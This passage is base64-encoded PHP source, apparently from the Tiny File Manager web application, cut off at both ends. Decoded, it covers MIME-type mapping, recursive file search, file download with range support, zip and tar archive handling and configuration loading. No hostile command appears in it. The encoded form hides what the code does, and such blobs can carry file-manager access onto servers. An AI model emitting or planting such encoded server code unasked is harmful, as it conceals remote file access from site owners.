c3dmJ10gPSAnYXBwbGljYXRpb25cL3gtc2hvY2t3YXZlLWZsYXNoJztcbiAgICAkZmlsZVR5cGVzWydwZGYnXSA9ICdhcHBsaWNhdGlvblwvcGRmJztcbiAgICAkZmlsZVR5cGVzWydleGUnXSA9ICdhcHBsaWNhdGlvblwvb2N0ZXQtc3RyZWFtJztcbiAgICAkZmlsZVR5cGVzWyd6aXAnXSA9ICdhcHBsaWNhdGlvblwvemlwJztcbiAgICAkZmlsZVR5cGVzWydkb2MnXSA9ICdhcHBsaWNhdGlvblwvbXN3b3JkJztcbiAgICAkZmlsZVR5cGVzWyd4bHMnXSA9ICdhcHBsaWNhdGlvblwvdm5kLm1zLWV4Y2VsJztcbiAgICAkZmlsZVR5cGVzWydwcHQnXSA9ICdhcHBsaWNhdGlvblwvdm5kLm1zLXBvd2VycG9pbnQnO1xuICAgICRmaWxlVHlwZXNbJ2dpZiddID0gJ2ltYWdlXC9naWYnO1xuICAgICRmaWxlVHlwZXNbJ3BuZyddID0gJ2ltYWdlXC9wbmcnO1xuICAgICRmaWxlVHlwZXNbJ2pwZWcnXSA9ICdpbWFnZVwvanBnJztcbiAgICAkZmlsZVR5cGVzWydqcGcnXSA9ICdpbWFnZVwvanBnJztcbiAgICAkZmlsZVR5cGVzWyd3ZWJwJ10gPSAnaW1hZ2VcL3dlYnAnO1xuICAgICRmaWxlVHlwZXNbJ2F2aWYnXSA9ICdpbWFnZVwvYXZpZic7XG4gICAgJGZpbGVUeXBlc1sncmFyJ10gPSAnYXBwbGljYXRpb25cL3Jhcic7XG5cbiAgICAkZmlsZVR5cGVzWydyYSddID0gJ2F1ZGlvXC94LXBuLXJlYWxhdWRpbyc7XG4gICAgJGZpbGVUeXBlc1sncmFtJ10gPSAnYXVkaW9cL3gtcG4tcmVhbGF1ZGlvJztcbiAgICAkZmlsZVR5cGVzWydvZ2cnXSA9ICdhdWRpb1wveC1wbi1yZWFsYXVkaW8nO1xuXG4gICAgJGZpbGVUeXBlc1snd2F2J10gPSAndmlkZW9cL3gtbXN2aWRlbyc7XG4gICAgJGZpbGVUeXBlc1snd212J10gPSAndmlkZW9cL3gtbXN2aWRlbyc7XG4gICAgJGZpbGVUeXBlc1snYXZpJ10gPSAndmlkZW9cL3gtbXN2aWRlbyc7XG4gICAgJGZpbGVUeXBlc1snYXNmJ10gPSAndmlkZW9cL3gtbXN2aWRlbyc7XG4gICAgJGZpbGVUeXBlc1snZGl2eCddID0gJ3ZpZGVvXC94LW1zdmlkZW8nO1xuXG4gICAgJGZpbGVUeXBlc1snbXAzJ10gPSAnYXVkaW9cL21wZWcnO1xuICAgICRmaWxlVHlwZXNbJ21wNCddID0gJ3ZpZGVvXC9tcDQnO1xuICAgICRmaWxlVHlwZXNbJ21wZWcnXSA9ICd2aWRlb1wvbXBlZyc7XG4gICAgJGZpbGVUeXBlc1snbXBnJ10gPSAndmlkZW9cL21wZWcnO1xuICAgICRmaWxlVHlwZXNbJ21wZSddID0gJ3ZpZGVvXC9tcGVnJztcbiAgICAkZmlsZVR5cGVzWydtb3YnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWydzd2YnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWyczZ3AnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWydtNGEnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWydhYWMnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWydtM3UnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcblxuICAgICRmaWxlVHlwZXNbJ3BocCddID0gWydhcHBsaWNhdGlvblwveC1waHAnXTtcbiAgICAkZmlsZVR5cGVzWydodG1sJ10gPSBbJ3RleHRcL2h0bWwnXTtcbiAgICAkZmlsZVR5cGVzWyd0eHQnXSA9IFsndGV4dFwvcGxhaW4nXTtcbiAgICBpZiAoZW1wdHkoJGZpbGVUeXBlc1skZXh0ZW5zaW9uXSkpIHtcbiAgICAgICAgJGZpbGVUeXBlc1skZXh0ZW5zaW9uXSA9IFsnYXBwbGljYXRpb25cL29jdGV0LXN0cmVhbSddO1xuICAgIH1cbiAgICByZXR1cm4gJGZpbGVUeXBlc1skZXh0ZW5zaW9uXTtcbn1cblxuXC8qKlxuICogVGhpcyBmdW5jdGlvbiBzY2FucyB0aGUgZmlsZXMgYW5kIGZvbGRlciByZWN1cnNpdmVseSwgYW5kIHJldHVybiBtYXRjaGluZyBmaWxlc1xuICogQHBhcmFtIHN0cmluZyAkZGlyXG4gKiBAcGFyYW0gc3RyaW5nICRmaWx0ZXJcbiAqIEByZXR1cm4gYXJyYXl8bnVsbFxuICpcL1xuZnVuY3Rpb24gc2NhbigkZGlyID0gJycsICRmaWx0ZXIgPSAnJylcbntcbiAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSCAuICdcLycgLiAkZGlyO1xuICAgIGlmICgkcGF0aCkge1xuICAgICAgICAkaXRlID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IobmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRwYXRoKSk7XG4gICAgICAgICRyaWkgPSBuZXcgUmVnZXhJdGVyYXRvcigkaXRlLCBcIlwvKFwiIC4gJGZpbHRlciAuIFwiKVwvaVwiKTtcblxuICAgICAgICAkZmlsZXMgPSBhcnJheSgpO1xuICAgICAgICBmb3JlYWNoICgkcmlpIGFzICRmaWxlKSB7XG4gICAgICAgICAgICBpZiAoISRmaWxlLT5pc0RpcigpKSB7XG4gICAgICAgICAgICAgICAgJGZpbGVOYW1lID0gJGZpbGUtPmdldEZpbGVuYW1lKCk7XG4gICAgICAgICAgICAgICAgJGxvY2F0aW9uID0gc3RyX3JlcGxhY2UoRk1fUk9PVF9QQVRILCAnJywgJGZpbGUtPmdldFBhdGgoKSk7XG4gICAgICAgICAgICAgICAgJGZpbGVzW10gPSBhcnJheShcbiAgICAgICAgICAgICAgICAgICAgXCJuYW1lXCIgPT4gJGZpbGVOYW1lLFxuICAgICAgICAgICAgICAgICAgICBcInR5cGVcIiA9PiBcImZpbGVcIixcbiAgICAgICAgICAgICAgICAgICAgXCJwYXRoXCIgPT4gJGxvY2F0aW9uLFxuICAgICAgICAgICAgICAgICk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuICRmaWxlcztcbiAgICB9XG59XG5cblwvKipcbiAqIFBhcmFtZXRlcnM6IGRvd25sb2FkRmlsZShGaWxlIExvY2F0aW9uLCBGaWxlIE5hbWUsXG4gKiBtYXggc3BlZWQsIGlzIHN0cmVhbWluZ1xuICogSWYgc3RyZWFtaW5nIC0gdmlkZW9zIHdpbGwgc2hvdyBhcyB2aWRlb3MsIGltYWdlcyBhcyBpbWFnZXNcbiAqIGluc3RlYWQgb2YgZG93bmxvYWQgcHJvbXB0XG4gKiBodHRwczpcL1wvc3RhY2tvdmVyZmxvdy5jb21cL2FcLzEzODIxOTkyXC8xMTY0NjQyXG4gKlwvXG5mdW5jdGlvbiBmbV9kb3dubG9hZF9maWxlKCRmaWxlTG9jYXRpb24sICRmaWxlTmFtZSwgJGNodW5rU2l6ZSAgPSAxMDI0KVxue1xuICAgIGlmIChjb25uZWN0aW9uX3N0YXR1cygpICE9IDApXG4gICAgICAgIHJldHVybiAoZmFsc2UpO1xuICAgICRleHRlbnNpb24gPSBwYXRoaW5mbygkZmlsZU5hbWUsIFBBVEhJTkZPX0VYVEVOU0lPTik7XG5cbiAgICAkY29udGVudFR5cGUgPSBmbV9nZXRfZmlsZV9taW1lcygkZXh0ZW5zaW9uKTtcblxuICAgIGlmIChpc19hcnJheSgkY29udGVudFR5cGUpKSB7XG4gICAgICAgICRjb250ZW50VHlwZSA9IGltcGxvZGUoJyAnLCAkY29udGVudFR5cGUpO1xuICAgIH1cblxuICAgICRzaXplID0gZmlsZXNpemUoJGZpbGVMb2NhdGlvbik7XG5cbiAgICBpZiAoJHNpemUgPT0gMCkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnWmVybyBieXRlIGZpbGUhIEFib3J0aW5nIGRvd25sb2FkJyksICdlcnJvcicpO1xuICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcblxuICAgICAgICByZXR1cm4gKGZhbHNlKTtcbiAgICB9XG5cbiAgICBAaW5pX3NldCgnbWFnaWNfcXVvdGVzX3J1bnRpbWUnLCAwKTtcbiAgICAkZnAgPSBmb3BlbihcIiRmaWxlTG9jYXRpb25cIiwgXCJyYlwiKTtcblxuICAgIGlmICgkZnAgPT09IGZhbHNlKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdDYW5ub3Qgb3BlbiBmaWxlISBBYm9ydGluZyBkb3dubG9hZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgICAgIHJldHVybiAoZmFsc2UpO1xuICAgIH1cbiAgICBcbiAgICBoZWFkZXIoJ0NvbnRlbnQtRGVzY3JpcHRpb246IEZpbGUgVHJhbnNmZXInKTtcbiAgICBoZWFkZXIoJ0V4cGlyZXM6IDAnKTtcbiAgICBoZWFkZXIoJ0NhY2hlLUNvbnRyb2w6IG11c3QtcmV2YWxpZGF0ZSwgcG9zdC1jaGVjaz0wLCBwcmUtY2hlY2s9MCcpO1xuICAgIGhlYWRlcignUHJhZ21hOiBwdWJsaWMnKTtcbiAgICBoZWFkZXIoXCJDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiaW5hcnlcIik7XG4gICAgaGVhZGVyKFwiQ29udGVudC1UeXBlOiAkY29udGVudFR5cGVcIik7XG5cbiAgICAkY29udGVudERpc3Bvc2l0aW9uID0gJ2F0dGFjaG1lbnQnO1xuXG4gICAgaWYgKHN0cnN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sIFwiTVNJRVwiKSkge1xuICAgICAgICAkZmlsZU5hbWUgPSBwcmVnX3JlcGxhY2UoJ1wvXFwuXC8nLCAnJTJlJywgJGZpbGVOYW1lLCBzdWJzdHJfY291bnQoJGZpbGVOYW1lLCAnLicpIC0gMSk7XG4gICAgICAgIGhlYWRlcihcIkNvbnRlbnQtRGlzcG9zaXRpb246ICRjb250ZW50RGlzcG9zaXRpb247ZmlsZW5hbWU9XFxcIiRmaWxlTmFtZVxcXCJcIik7XG4gICAgfSBlbHNlIHtcbiAgICAgICAgaGVhZGVyKFwiQ29udGVudC1EaXNwb3NpdGlvbjogJGNvbnRlbnREaXNwb3NpdGlvbjtmaWxlbmFtZT1cXFwiJGZpbGVOYW1lXFxcIlwiKTtcbiAgICB9XG5cbiAgICBoZWFkZXIoXCJBY2NlcHQtUmFuZ2VzOiBieXRlc1wiKTtcbiAgICAkcmFuZ2UgPSAwO1xuXG4gICAgaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX1JBTkdFJ10pKSB7XG4gICAgICAgIGxpc3QoJGEsICRyYW5nZSkgPSBleHBsb2RlKFwiPVwiLCAkX1NFUlZFUlsnSFRUUF9SQU5HRSddKTtcbiAgICAgICAgc3RyX3JlcGxhY2UoJHJhbmdlLCBcIi1cIiwgJHJhbmdlKTtcbiAgICAgICAgJHNpemUyID0gJHNpemUgLSAxO1xuICAgICAgICAkbmV3X2xlbmd0aCA9ICRzaXplIC0gJHJhbmdlO1xuICAgICAgICBoZWFkZXIoXCJIVFRQXC8xLjEgMjA2IFBhcnRpYWwgQ29udGVudFwiKTtcbiAgICAgICAgaGVhZGVyKFwiQ29udGVudC1MZW5ndGg6ICRuZXdfbGVuZ3RoXCIpO1xuICAgICAgICBoZWFkZXIoXCJDb250ZW50LVJhbmdlOiBieXRlcyAkcmFuZ2Ukc2l6ZTJcLyRzaXplXCIpO1xuICAgIH0gZWxzZSB7XG4gICAgICAgICRzaXplMiA9ICRzaXplIC0gMTtcbiAgICAgICAgaGVhZGVyKFwiQ29udGVudC1SYW5nZTogYnl0ZXMgMC0kc2l6ZTJcLyRzaXplXCIpO1xuICAgICAgICBoZWFkZXIoXCJDb250ZW50LUxlbmd0aDogXCIgLiAkc2l6ZSk7XG4gICAgfVxuICAgICRmaWxlTG9jYXRpb24gPSByZWFscGF0aCgkZmlsZUxvY2F0aW9uKTtcbiAgICB3aGlsZSAob2JfZ2V0X2xldmVsKCkpIG9iX2VuZF9jbGVhbigpO1xuICAgIHJlYWRmaWxlKCRmaWxlTG9jYXRpb24pO1xuXG4gICAgZmNsb3NlKCRmcCk7XG5cbiAgICByZXR1cm4gKChjb25uZWN0aW9uX3N0YXR1cygpID09IDApIGFuZCAhY29ubmVjdGlvbl9hYm9ydGVkKCkpO1xufVxuXG5cLyoqXG4gKiBDbGFzcyB0byB3b3JrIHdpdGggemlwIGZpbGVzICh1c2luZyBaaXBBcmNoaXZlKVxuICpcL1xuY2xhc3MgRk1fWmlwcGVyXG57XG4gICAgcHJpdmF0ZSAkemlwO1xuXG4gICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KClcbiAgICB7XG4gICAgICAgICR0aGlzLT56aXAgPSBuZXcgWmlwQXJjaGl2ZSgpO1xuICAgIH1cblxuICAgIFwvKipcbiAgICAgKiBDcmVhdGUgYXJjaGl2ZSB3aXRoIG5hbWUgJGZpbGVuYW1lIGFuZCBmaWxlcyAkZmlsZXMgKFJFTEFUSVZFIFBBVEhTISlcbiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZVxuICAgICAqIEBwYXJhbSBhcnJheXxzdHJpbmcgJGZpbGVzXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHB1YmxpYyBmdW5jdGlvbiBjcmVhdGUoJGZpbGVuYW1lLCAkZmlsZXMpXG4gICAge1xuICAgICAgICAkcmVzID0gJHRoaXMtPnppcC0+b3BlbigkZmlsZW5hbWUsIFppcEFyY2hpdmU6OkNSRUFURSk7XG4gICAgICAgIGlmICgkcmVzICE9PSB0cnVlKSB7XG4gICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgIH1cbiAgICAgICAgaWYgKGlzX2FycmF5KCRmaWxlcykpIHtcbiAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikge1xuICAgICAgICAgICAgICAgICRmID0gZm1fY2xlYW5fcGF0aCgkZik7XG4gICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+YWRkRmlsZU9yRGlyKCRmKSkge1xuICAgICAgICAgICAgICAgICAgICAkdGhpcy0+emlwLT5jbG9zZSgpO1xuICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuICAgICAgICAgICAgJHRoaXMtPnppcC0+Y2xvc2UoKTtcbiAgICAgICAgICAgIHJldHVybiB0cnVlO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgaWYgKCR0aGlzLT5hZGRGaWxlT3JEaXIoJGZpbGVzKSkge1xuICAgICAgICAgICAgICAgICR0aGlzLT56aXAtPmNsb3NlKCk7XG4gICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgIH1cbiAgICB9XG5cbiAgICBcLyoqXG4gICAgICogRXh0cmFjdCBhcmNoaXZlICRmaWxlbmFtZSB0byBmb2xkZXIgJHBhdGggKFJFTEFUSVZFIE9SIEFCU09MVVRFIFBBVEhTKVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lXG4gICAgICogQHBhcmFtIHN0cmluZyAkcGF0aFxuICAgICAqIEByZXR1cm4gYm9vbFxuICAgICAqXC9cbiAgICBwdWJsaWMgZnVuY3Rpb24gdW56aXAoJGZpbGVuYW1lLCAkcGF0aClcbiAgICB7XG4gICAgICAgICRyZXMgPSAkdGhpcy0+emlwLT5vcGVuKCRmaWxlbmFtZSk7XG4gICAgICAgIGlmICgkcmVzICE9PSB0cnVlKSB7XG4gICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCR0aGlzLT56aXAtPmV4dHJhY3RUbygkcGF0aCkpIHtcbiAgICAgICAgICAgICR0aGlzLT56aXAtPmNsb3NlKCk7XG4gICAgICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIEFkZCBmaWxlXC9mb2xkZXIgdG8gYXJjaGl2ZVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHByaXZhdGUgZnVuY3Rpb24gYWRkRmlsZU9yRGlyKCRmaWxlbmFtZSlcbiAgICB7XG4gICAgICAgIGlmIChpc19maWxlKCRmaWxlbmFtZSkpIHtcbiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+emlwLT5hZGRGaWxlKCRmaWxlbmFtZSk7XG4gICAgICAgIH0gZWxzZWlmIChpc19kaXIoJGZpbGVuYW1lKSkge1xuICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5hZGREaXIoJGZpbGVuYW1lKTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIEFkZCBmb2xkZXIgcmVjdXJzaXZlbHlcbiAgICAgKiBAcGFyYW0gc3RyaW5nICRwYXRoXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHByaXZhdGUgZnVuY3Rpb24gYWRkRGlyKCRwYXRoKVxuICAgIHtcbiAgICAgICAgaWYgKCEkdGhpcy0+emlwLT5hZGRFbXB0eURpcigkcGF0aCkpIHtcbiAgICAgICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgICAgfVxuICAgICAgICAkb2JqZWN0cyA9IHNjYW5kaXIoJHBhdGgpO1xuICAgICAgICBpZiAoaXNfYXJyYXkoJG9iamVjdHMpKSB7XG4gICAgICAgICAgICBmb3JlYWNoICgkb2JqZWN0cyBhcyAkZmlsZSkge1xuICAgICAgICAgICAgICAgIGlmICgkZmlsZSAhPSAnLicgJiYgJGZpbGUgIT0gJy4uJykge1xuICAgICAgICAgICAgICAgICAgICBpZiAoaXNfZGlyKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+YWRkRGlyKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKGlzX2ZpbGUoJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT56aXAtPmFkZEZpbGUoJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuICAgICAgICAgICAgcmV0dXJuIHRydWU7XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgIH1cbn1cblxuXC8qKlxuICogQ2xhc3MgdG8gd29yayB3aXRoIFRhciBmaWxlcyAodXNpbmcgUGhhckRhdGEpXG4gKlwvXG5jbGFzcyBGTV9aaXBwZXJfVGFyXG57XG4gICAgcHJpdmF0ZSAkdGFyO1xuXG4gICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KClcbiAgICB7XG4gICAgICAgICR0aGlzLT50YXIgPSBudWxsO1xuICAgIH1cblxuICAgIFwvKipcbiAgICAgKiBDcmVhdGUgYXJjaGl2ZSB3aXRoIG5hbWUgJGZpbGVuYW1lIGFuZCBmaWxlcyAkZmlsZXMgKFJFTEFUSVZFIFBBVEhTISlcbiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZVxuICAgICAqIEBwYXJhbSBhcnJheXxzdHJpbmcgJGZpbGVzXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHB1YmxpYyBmdW5jdGlvbiBjcmVhdGUoJGZpbGVuYW1lLCAkZmlsZXMpXG4gICAge1xuICAgICAgICAkdGhpcy0+dGFyID0gbmV3IFBoYXJEYXRhKCRmaWxlbmFtZSk7XG4gICAgICAgIGlmIChpc19hcnJheSgkZmlsZXMpKSB7XG4gICAgICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGYpIHtcbiAgICAgICAgICAgICAgICAkZiA9IGZtX2NsZWFuX3BhdGgoJGYpO1xuICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPmFkZEZpbGVPckRpcigkZikpIHtcbiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIHJldHVybiB0cnVlO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgaWYgKCR0aGlzLT5hZGRGaWxlT3JEaXIoJGZpbGVzKSkge1xuICAgICAgICAgICAgICAgIHJldHVybiB0cnVlO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICB9XG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIEV4dHJhY3QgYXJjaGl2ZSAkZmlsZW5hbWUgdG8gZm9sZGVyICRwYXRoIChSRUxBVElWRSBPUiBBQlNPTFVURSBQQVRIUylcbiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAgICAgKiBAcmV0dXJuIGJvb2xcbiAgICAgKlwvXG4gICAgcHVibGljIGZ1bmN0aW9uIHVuemlwKCRmaWxlbmFtZSwgJHBhdGgpXG4gICAge1xuICAgICAgICAkcmVzID0gJHRoaXMtPnRhci0+b3BlbigkZmlsZW5hbWUpO1xuICAgICAgICBpZiAoJHJlcyAhPT0gdHJ1ZSkge1xuICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICB9XG4gICAgICAgIGlmICgkdGhpcy0+dGFyLT5leHRyYWN0VG8oJHBhdGgpKSB7XG4gICAgICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIEFkZCBmaWxlXC9mb2xkZXIgdG8gYXJjaGl2ZVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHByaXZhdGUgZnVuY3Rpb24gYWRkRmlsZU9yRGlyKCRmaWxlbmFtZSlcbiAgICB7XG4gICAgICAgIGlmIChpc19maWxlKCRmaWxlbmFtZSkpIHtcbiAgICAgICAgICAgIHRyeSB7XG4gICAgICAgICAgICAgICAgJHRoaXMtPnRhci0+YWRkRmlsZSgkZmlsZW5hbWUpO1xuICAgICAgICAgICAgICAgIHJldHVybiB0cnVlO1xuICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7XG4gICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgfVxuICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKCRmaWxlbmFtZSkpIHtcbiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+YWRkRGlyKCRmaWxlbmFtZSk7XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgIH1cblxuICAgIFwvKipcbiAgICAgKiBBZGQgZm9sZGVyIHJlY3Vyc2l2ZWx5XG4gICAgICogQHBhcmFtIHN0cmluZyAkcGF0aFxuICAgICAqIEByZXR1cm4gYm9vbFxuICAgICAqXC9cbiAgICBwcml2YXRlIGZ1bmN0aW9uIGFkZERpcigkcGF0aClcbiAgICB7XG4gICAgICAgICRvYmplY3RzID0gc2NhbmRpcigkcGF0aCk7XG4gICAgICAgIGlmIChpc19hcnJheSgkb2JqZWN0cykpIHtcbiAgICAgICAgICAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRmaWxlKSB7XG4gICAgICAgICAgICAgICAgaWYgKCRmaWxlICE9ICcuJyAmJiAkZmlsZSAhPSAnLi4nKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5hZGREaXIoJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoaXNfZmlsZSgkcGF0aCAuICdcLycgLiAkZmlsZSkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIHRyeSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnRhci0+YWRkRmlsZSgkcGF0aCAuICdcLycgLiAkZmlsZSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgfVxufVxuXG5cLyoqXG4gKiBTYXZlIENvbmZpZ3VyYXRpb25cbiAqXC9cbmNsYXNzIEZNX0NvbmZpZ1xue1xuICAgIHZhciAkZGF0YTtcblxuICAgIGZ1bmN0aW9uIF9fY29uc3RydWN0KClcbiAgICB7XG4gICAgICAgIGdsb2JhbCAkcm9vdF9wYXRoLCAkcm9vdF91cmwsICRDT05GSUc7XG4gICAgICAgICRmbV91cmwgPSAkcm9vdF91cmwgLiAkX1NFUlZFUltcIlBIUF9TRUxGXCJdO1xuICAgICAgICAkdGhpcy0+ZGF0YSA9IGFycmF5KFxuICAgICAgICAgICAgJ2xhbmcnID0+ICdlbicsXG4gICAgICAgICAgICAnZXJyb3JfcmVwb3J0aW5nJyA9PiB0cnVlLFxuICAgICAgICAgICAgJ3Nob3dfaGlkZGVuJyA9PiB0cnVlXG4gICAgICAgICk7XG4gICAgICAgICRkYXRhID0gZmFsc2U7XG4gICAgICAgIGlmIChzdHJsZW4oJENPTkZJRykpIHtcbiAgICAgICAgICAgICRkYXRhID0gZm1fb2JqZWN0X3RvX2FycmF5KGpzb25fZGVjb2RlKCRDT05GSUcpKTtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICRtc2cgPSAnVGlueSBGaWxlIE1hbmFnZXI8YnI+RXJyb3I6IENhbm5vdCBsb2FkIGNvbmZpZ3VyYXRpb24nO1xuICAgICAgICAgICAgaWYgKHN1YnN0cigkZm1fdXJsLCAtMSkgPT0gJ1wvJykge1xuICAgICAgICAgICAgICAgICRmbV91cmwgPSBydHJpbSgkZm1fdXJsLCAnXC8nKTtcbiAgICAgICAgICAgICAgICAkbXNnIC49ICc8YnI+JztcbiAgICAgICAgICAgICAgICAkbXNnIC49ICc8YnI+U2VlbXMgbGlrZSB5b3UgaGF2ZSBhIHRyYWlsaW5nIHNsYXNoIG9uIHRoZSBVUkwuJztcbiAgICAgICAgICAgICAgICAkbXNnIC49ICc8YnI+VHJ5IHRoaXMgbGluazogPGEgaHJlZj1cIicgLiAkZm1fdXJsIC4gJ1wiPicgLiAkZm1fdXJsIC4gJzxcL2E+JztcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIGRpZSgkbXNnKTtcbiAgICAgICAgfVxuICAgICAgICBpZiAoaXNfYXJyYXkoJGRhdGEpICYmIGNvdW50KCRkYXRhKSkgJHRoaXMtPmRhdGEgPSAkZGF0YTtcbiAgICAgICAgZWxzZSAkdGhpcy0+c2F2ZSgpO1xuICAgIH1cblxuICAgIGZ1bmN0aW9uIHNhdmUoKVxuICAgIHtcbiAgICAgICAgZ2xvYmFsICRjb25maWdfZmlsZTtcbiAgICAgICAgJGZtX2ZpbGUgPSBpc19yZWFkYWJsZSgkY29uZmlnX2ZpbGUpID8gJGNvbmZpZ19maWxlIDogX19GSUxFX187XG4gICAgICAgICR2YXJfbmFtZSA9ICckQ09ORklHJztcbiAgICAgICAgJHZhcl92YWx1ZSA9IHZhcl9leHBvcnQoanNvbl9lbmNvZGUoJHRoaXMtPmRhdGEpLCB0cnVlKTtcbiA